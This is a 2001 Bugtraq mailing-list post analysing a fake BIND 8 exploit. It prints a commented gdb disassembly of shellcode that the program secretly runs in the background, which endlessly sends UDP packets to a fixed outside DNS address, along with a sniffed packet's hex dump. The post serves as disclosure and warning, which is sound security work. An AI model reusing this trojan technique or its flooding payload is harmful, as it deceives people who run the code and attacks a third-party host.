[18940] in bugtraq
fake bind 8 exploit disassembly
daemon@ATHENA.MIT.EDU (galt)
Fri Feb 2 02:22:54 2001
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.4.10.10102011334420.14496-100000@evilcow.cowofdoom.com>
Date: Thu, 1 Feb 2001 14:03:29 -0500
Reply-To: galt <galt@COWOFDOOM.COM>
From: galt <galt@COWOFDOOM.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
i just saw the other post...but i figure perhaps someone else is
interested in this disassembly..heh
basically i looked over the source, and made a function to dump the
shellcode in char shellcode[] format, and exit(1) before running the
bad code, and then compiled that with -g and stepped through it a bit to
figure out what wasnt apparent from the disassemble shellcode output from
gdb
in the main() function we see
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
BIND_OFF_02 is equal to 1028 which is the offset variable below
in the set_ptr function, there is a bit of code
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(©_buff[offset], &val, sizeof(val));
so basically it forks and then overflows the stack, executing the
shellcode in the background...the shellcode is pretty cool, there is a bit
of jumping into odd offset instructions to make it a bit harder to
disassemble (i assume)
so into the shellcode:
Dump of assembler code for function shellcode:
0x8049400 <shellcode>: xor %eax,%eax
0x8049402 <shellcode+2>: dec %eax
0x8049403 <shellcode+3>: push %eax
0x8049404 <shellcode+4>: push %eax
0x8049405 <shellcode+5>: xor %ebx,%ebx
0x8049407 <shellcode+7>: lea 0xd,%eax
0xd = 13 = time()
0x804940d <shellcode+13>: int $0x80
0x804940f <shellcode+15>: add $0x8,%esp
0x8049412 <shellcode+18>: cmp $0x1020304,%eax
time() wont return a value less than that from a while back until never
heh
0x8049417 <shellcode+23>: jl 0x804941e <shellcode+30>
0x8049419 <shellcode+25>: call 0x8049433 <shellcode+51>
0x804941e <shellcode+30>: call 0x80494a3 <shellcode+163>
0x8049423 <shellcode+35>: call 0x564bdd7b
0x8049428 <shellcode+40>: inc %ecx
0x8049429 <shellcode+41>: push %esp
0x804942a <shellcode+42>: push %ebp
0x804942b <shellcode+43>: push %edx
0x804942c <shellcode+44>: inc %ebp
0x804942d <shellcode+45>: call 0x845e784
0x8049432 <shellcode+50>: add %ch,%bl
shellcode+51 is a jmp to shellcode+105
0x8049434 <shellcode+52>: xor $0x5e,%al
here we have the code to setup the socket
shellcode+53 is a pop %esi instruction, so the data is at shellcode+110
0x8049436 <shellcode+54>: mov $0x1,%ebx
SYS_SOCKET
0x804943b <shellcode+59>: mov %esi,%ecx
0x804943d <shellcode+61>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x8049442 <shellcode+66>: int $0x80
0x8049444 <shellcode+68>: mov %eax,0x14(%esi)
0x8049447 <shellcode+71>: lea 0x30(%esi),%eax
0x804944a <shellcode+74>: mov %eax,0x18(%esi)
0x804944d <shellcode+77>: xor %eax,%eax
0x804944f <shellcode+79>: mov %eax,0x20(%esi)
0x8049452 <shellcode+82>: lea 0xc(%esi),%eax
0x8049455 <shellcode+85>: mov %eax,0x24(%esi)
here we have the main_loop, just keeps on spamming out that same packet
0x8049458 <shellcode+88>: mov $0x66,%eax
0x66 = 102 = socketcall()
0x804945d <shellcode+93>: mov $0xb,%ebx
SYS_SENDTO
0x8049462 <shellcode+98>: lea 0x14(%esi),%ecx
0x8049465 <shellcode+101>: int $0x80
0x8049467 <shellcode+103>: jmp 0x8049458 <shellcode+88>
0x8049469 <shellcode+105>: call 0x8049435 <shellcode+53>
shellcode+110 is all data
i let one of the sendto's execute in gdb and sniffed the packet:
13:15:50.336361 10.0.0.5.32795 > 161.69.3.150.53: 12147 updateMA [14174a]
[235q] [27153n] [27138au] (1024) (DF)
4500 041c 0000 4000 4011 87f1 0a00 0005
a145 0396 801b 0035 0408 efdd 2f73 6800
00eb 375e 6a11 6a02 6a02 6a66 8d05 6100
0000 cd80 89c2
galt
